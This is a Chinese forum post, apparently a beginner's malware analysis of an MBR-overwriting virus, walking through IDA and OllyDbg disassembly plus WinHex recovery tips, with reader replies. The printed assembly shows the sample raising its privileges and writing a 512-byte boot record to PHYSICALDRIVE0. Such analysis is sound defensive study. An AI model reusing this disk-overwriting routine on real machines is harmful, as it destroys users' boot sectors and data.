吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 20192|回复: 35
收起左侧

[PC样本分析] [新手]MBR病毒样本分析

  [复制链接]
小哈龙 发表于 2017-7-4 11:16
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 小哈龙 于 2017-8-4 14:03 编辑

1  MBR病毒样本分析
1.1  基本信息
样本类型:MBR感染样本
大小:36864 字节 36KB
MD5:955b66c722ca993dd11fbe56bbf92525
壳种类:无壳
编译器信息:VC++6.0
简介:该样本是一个修改MBR的病毒。
mbr.zip (10.91 KB, 下载次数: 170)

感染症状:感染该病毒后,刚开始并不会发现有什么异常情况,但是当你重启电脑后,你就会发现电脑启动停留在一个黑色界面,带着恶意文字,在WIN7虚拟机中运行过后重启系统的结果,感染后重启电脑如图4-1所示
4-1.png
                         图4-1感染病毒效果图
文件变化:无
注册表变化:无
网络行为:无
1.2  详细分析
(1)首先总体看一下病毒程序布局
将病毒文件载入IDA,首先观察IDA 的Functions window 界面,如图4-2所示:
4-2.png
图4-2 IDA FunctionWindow图


因为该病毒文件是采用VC++6.0编译的,看到main函数,就试着点开看一下,双击main函数后,在IDA中看到如下汇编代码,该段介绍的是该病毒程序的主函数,包含两个子模块:
[C++] 纯文本查看 复制代码
int __cdecl main(int argc, const char **argv, const char **envp)
_main proc near
push    1               ; int
push    offset aSedebugprivile ; "SeDebugPrivilege"  
call    sub_401000
add     esp, 8
jmp     sub_401090
_main endp

(2)模块一分析
汇编语言函数是以:函数名 proc(参数列表) 这样的格式,由此看出此函数有可能是病毒程序的主函数,
push    offset aSedebugprivile; "SeDebugPrivilege";
这句汇编代码后面提示此处压栈的字符是“SeDebugPrivilege”,这是Windows的字符权限名称,一般用在进程提权中使用,然后看下面三句汇编代码:
[Asm] 纯文本查看 复制代码
push    1              ; int
push    offset aSedebugprivile ; "SeDebugPrivilege"  
call    sub_4010002.

首先将两个值压栈,其中一个值还与进程提权有关,下面一个call,指向了另一个位置,想到这里,这个call里面的操作估计与进程提权相关,在IDA中双击call跟进,查看call的内容,为了直观这里切换到IDA 的Graph view,双击call出现的内容,如图4-3:


4-3.jpg
图4-3 IDA call  sub_401000 Graph View图


进入这个界面,该从哪里才下手呢,刚才分析,这个call所做的操作与进程提权相关,要想提升一个进程的权限,那么首先要做的第一步是得到当前进程的句柄,查看call进来的汇编代码发现一个API GetCurrentProcess,这个API是获取当前进程的句柄的,这就正确了,设想是正确的,就从这里下手,如下汇编代码,主要介绍两个进程提权的API函数GetCurrentProcess和OpenProcessToken
[Asm] 纯文本查看 复制代码
push    esi
push    eax             ; TokenHandle
push    28h             ; DesiredAccess
mov     esi, 1
call    ds:GetCurrentProcess
push    eax             ; ProcessHandle
call    ds:OpenProcessToken        
test    eax, eax
jnz     short loc_401028

上面汇编代码,就是两个函数,第一个先将三个参数压栈,调用GetCurrentProcess函数获取当前进程句柄,随后将句柄返回寄存器eax(汇编语言的函数返回值默认存储在寄存器eax中),随后call    ds:OpenProcessToken 调用OpenProcessToken函数,获取进程令牌句柄,并将返回值保存在eax中。test    eax, eaxjnz     short loc_401028这两条语句,先test eax,eax会改变标志位ZF,使ZF不等于1,jnz表示标志位ZF不等于1时,跳转,因此此处跳转到shortloc_401028处。在图4-3中右下角那一个模块中,下边看一下汇编代码,主要功能修改进程权限
[Asm] 纯文本查看 复制代码
loc_401028:
mov     ecx, [esp+18h+arg_4]
mov     eax, [esp+18h+lpName]
neg     ecx
lea     edx, [esp+18h+NewState.Privileges]
mov     [esp+18h+NewState.PrivilegeCount], esi
sbb     ecx, ecx
push    edx             ; lpLuid
and     ecx, 2
push    eax             ; lpName
push    0               ; lpSystemName
mov     [esp+24h+NewState.Privileges.Attributes], ecx
call    ds:LookupPrivilegeValueA
mov     edx, [esp+18h+hObject]
push    0               ; ReturnLength
push    0               ; PreviousState
lea     ecx, [esp+20h+NewState]
push    10h             ; BufferLength
push    ecx             ; NewState
push    0               ; DisableAllPrivileges
push    edx             ; TokenHandle
call    ds:AdjustTokenPrivileges
call    ds:GetLastError
test    eax, eax

在前边叙述中,已经获取当前进程的进程令牌,根据提升进程权限的操作,下一步要做的操作就是要查询进程的权限。简单分析之后,看一下上边代码,其中两个关键的call是需要注意的:call    ds:LookupPrivilegeValueA这个API函数就是查询进程权限的,与提升进程权限的步骤完全一致,根据VC++函数压栈的顺序第一个参数到第三个参数的压入顺序就是:push    0              ; lpSystemNamepush    eax             ; lpNamepush    edx             ; lpLuid然后call,直接调用该函数,这是第一个call call    ds:AdjustTokenPrivileges通过查看进程的权限,判断进程是否可以对磁盘进行写操作,如果没有,则查找相关权限的LUID,赋予该进程相应权限,具体不再赘述。
(3)模块2分析
前面模块一中介绍的是进程提权部分,也就是main中的第一个关键点call sub_401000下面来看一下main中第二个关键点:
[Asm] 纯文本查看 复制代码
add     esp, 8
jmp     sub_401090

在第一个call    sub_401000这个子模块中,一共两个参数压栈
[Asm] 纯文本查看 复制代码
push    1   ; int
push    offset aSedebugprivile ; "SeDebugPrivilege"

在函数结束时,需要将堆栈还原,32位的两个参数正好8个字节,因此Add esp,8,  让栈顶指针增加8字节,栈在开辟储存空间是向下增长的。堆栈平衡以后,程序直接无条件跳转到 sub_401090处,在IDA中直接双击,切换到 sub_401090处,为了看着比较直观,先来看一下整体视图,如图4-44-5所示:
4-4.png

图4-4 IDA sub_401090 处代码图


4-5.png
图4-5 IDA检测写入数据图


通过对main中第一个call模块进行分析,病毒程序已经提升进程权限,对于下一步,估计会对硬盘进行写入操作。刚切换到sub_401090位置,并不知道到程序会怎么做,大致浏览一下代码,会发现\\\\.\\PHYSICALDRIVE0字样,这也说明不了什么,只能说明有可能是想获取本地磁盘的信息,但是下面还有所发现,看如下几行代码,主要介绍CreateFileA函数
[Asm] 纯文本查看 复制代码
push    0               ; hTemplateFile           参数7
rep stosd
stosw
push    0               ; dwFlagsAndAttributes    参数6
push    3               ; dwCreationDisposition   参数5
stosb
push    0               ; lpSecurityAttributes    参数4
mov     ecx, 0Ch
mov     esi, offset unk_406030
lea     edi, [esp+220h+Buffer]
push    3               ; dwShareMode             参数3
push    0C0000000h      ; dwDesiredAccess         参数2
rep movsd
push    offset FileName ; \\\\.\\PHYSICALDRIVE0   参数1
mov     [esp+22Ch+var_2], 55h
mov     [esp+22Ch+var_1], 0AAh
call    ds:CreateFileA             

调用函数55h 0AAh 这个对磁盘主引导区比较熟悉的应该知道,这是磁盘主引导扇区(MBR)的结束表示,一般是第一扇区的511和512字节处,就像PE文件头的标识00004550一样,以上汇编代码中,其实只是实现了一个功能就是在磁盘下创建文件,从参数7到参数1是CreateFileA函数的7个参数,顺序也按照调用顺序进行排列,具体参数就不再细说了,调用CreateFileA函数取得设备句柄(这个设备句柄后面会用到),通过对返回值进行检测,判断函数是否成功,成功的话进行进一步操作,如下汇编代码:
[Asm] 纯文本查看 复制代码
mov     esi, eax
cmp     esi, 0FFFFFFFFh
jnz     short loc_4010F4

这里将函数的返回值储存在esi中,也就是设备的句柄,具体有什么用处,继续往后边分析。一个jnz条件跳转指明了一个方向,对于这个跳转与否,在IDA中有两个方向,如图4-6所示: 4-6.png
图4-6 IDA jnz short loc_4010F4 解释图
如果文件创建成功则跳转至loc_4010F4处,否则执行另一块操作,此时为了清晰地看一下程序的运行细节,将病毒程序载入到OD中,如图4-7所示,
进行分析。

4-7.png
图4-7 OD jnz short loc_4010F4 解释图

载入OD后,ALT+C到CPU界面,右键查看所有字符串参考,跟以前的分析,直接双击所查找出来的\\\\.\\PHYSICALDRIVE0字符,双击进入如图4-双击进入如图4-7的界面,然后看到CreateFile函数,在call该函数的前后下断,下软件断点就可以了,然后F9,让程序运行至第一个断点处,如图4-7红色004010D4处,然后F8单步往下走(不要F7,F7进入函数体内没有其它需要的信息,这里就不截图展示了),此时主义观擦右上角寄存器信息,注意ESI和EAX如图4-7右上角红色方框处,F8逐步将程序运行至004010E7处,可以先看ZF标志位(OD中以字母Z在右上角显示),此时也可以看到图4-7左下角出现"跳转已实现"字样,程序已经跳转至loc_4010F4处,此时留意ESI和EAX两个寄存器,此时它们的值是44h,它代表取得设备句柄成功。其实在创建设备句柄之前,要写入MBR的字符数据已经可以在内存中查到,如下代码:
[C++] 纯文本查看 复制代码
mov     ecx, 0Ch
mov     esi, offset unk_406030
lea     edi, [esp+220h+Buffer]


观察上边代码,[esp+220h+Buffer]这个地址开始的数据后来被检测到包含MBR引导扇区的结束标志55H AAH,如下代码:
[Asm] 纯文本查看 复制代码
mov     [esp+22Ch+var_2], 55h
mov     [esp+22Ch+var_1], 0AAh

因此在内存中转到406030这个位置,查看数据,如图4-8所示。此时再把视线回归到IDA中如图4-3所示,既然程序跳转到loc_4010F4处,下面具来分析一下loc_4010F4处的代码,来了解病毒程序下面如何操作,上面通过CreateFile取得文件设备句柄,并将设备句柄存取到ESI中,然后进一步操作,如下代码:
[Asm] 纯文本查看 复制代码
lea     ecx, [esp+210h+NumberOfBytesWritten]
push    0               ; lpOverlapped
push    ecx             ; lpNumberOfBytesWritten
lea     edx, [esp+218h+Buffer]
push    200h            ; nNumberOfBytesToWrite      写入数据位512字节
push    edx             ; lpBuffer
push    esi             ; hFile
call    ds:WriteFile

调用WriteFile函数,将512字节的 数据写入hFile(即CreateFile创建的文件中)中,下面利用DeviceIoControl与设备进行I/O,上面已经创建好的设备句柄保存在ESI中,详细如下代码:
[Asm] 纯文本查看 复制代码
lea     eax, [esp+210h+BytesReturned]     ;数据所在位置
push    0               ; lpOverlappedpush    eax             ; lpBytesReturned  驱动程序实际返回给应用程序的数据字节数地址
push    0               ; nOutBufferSize
push    0               ; lpOutBuffer
push    0               ; nInBufferSize
push    0               ; lpInBuffer
push    9001Ch          ; dwIoControlCode  I/O和文件系统数据缓冲区进行数据传递的方式
push    esi             ; hDevice          设备句柄
call    edi ; DeviceIoControl    
push    esi             ; hObject
call    ds:CloseHandle[esp+210h+BytesReturned] ;表示数据所在位置,上面参数有相关解释,通过DeviceIoControl将数据通过驱动程序写入设备,最后关闭设备句柄
push    esi             ; hObject
call    ds:CloseHandle     



   4-8.png
图4-8 IDA 406030 处16进制数据数据查询图


(4)利用WinHex提取出被感染后的MBR数据
该工具里面的工具栏里面提供有打开磁盘文件扩展,可以选择以16进制或者10进制显示,如图4-9是正常情况下的MBR的内容:
4-9.png


图4-9 WinHex打开磁盘扇区文件图打开之后会显示如界面,选择物理驱动器,如图4-10所示:
4-10.png

图4-10 WinHex选择操作物理驱动器图


打开磁盘文件后,选中磁盘的第一个扇区,即MBR,右键->复制模块->置入新文件保存起来,如图4-11所示:
4-11.png
4-11
WinHex
保存磁盘扇区文件图


1.1  病毒的修复如果在分析之前对MBR有备份,这样可以容易处理一些,有一款工具叫MBRTool,可以对MBR进行简单的备份和恢复: 11.png

说明:因为本人在此领域还是新手,此次分析是在看到willJ 大大 http://www.52pojie.cn/thread-188123-1-1.html  发的一篇分析文章后决定自己尝试一下,因为个人技术太少,刚涉足此方向,新手上路,望各位大大给予指点




1111.png

免费评分

参与人数 13吾爱币 +14 热心值 +13 收起 理由
樱茗雪 + 1 + 1 用心讨论,共获提升!
Ailen + 1 + 1 用心讨论,共获提升!
cungian + 1 + 1 用心讨论,共获提升!
xiaoice + 1 + 1 用心讨论,共获提升!
Chen1997 + 1 + 1 用心讨论,共获提升!
bester + 1 + 1 已答复!
swx5201314 + 1 + 1 我很赞同!
ZF0806 + 1 已经处理,感谢您对吾爱破解论坛的支持!
新兴1 + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
a5606495 + 1 + 1 热心回复!
Hyabcd + 2 + 1 用心讨论,共获提升!
NewType + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
azusys + 2 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

aini2008ha 发表于 2017-7-12 08:50
说道MBR的话可以尝试手工修复一下,如果没有破坏dbr和ebr。或者备份留下哪怕一个也可以算出来。简单的计算看看书一个小厮差不多可以掌握,推荐刘伟写的《数据恢复技术深度揭秘》
 楼主| 小哈龙 发表于 2017-7-5 22:08
swx5201314 发表于 2017-7-5 20:52
楼主都是新手的话我不知道自己该怎么定位了

我是做开发的,刚涉足这个方向,完全是新手
A-_虚伪_! 发表于 2017-7-4 11:28
我是萌萌哒提莫 发表于 2017-7-4 11:34
虽然看不懂,但是我还是看了
 楼主| 小哈龙 发表于 2017-7-4 11:43
第一次  发这种帖子,有违规或者不合适的请大家指出,图片上传很麻烦,后续分析没上传
Cctv_Missx 发表于 2017-7-4 13:28
新手就要一起进步,加油
gongzi 发表于 2017-7-4 22:29
631到此一游,写的不错,学习了
穆里尼奥 发表于 2017-7-5 08:26

谢谢分享   学习一下。
lxrhome 发表于 2017-7-5 09:09
直接重置MBR分区表是否可以?
guo_qun_ 发表于 2017-7-5 12:51
谢谢分享   学习一下。
泳坤 发表于 2017-7-5 14:18
打得不错 入口切入可以学习
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-15 13:45

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表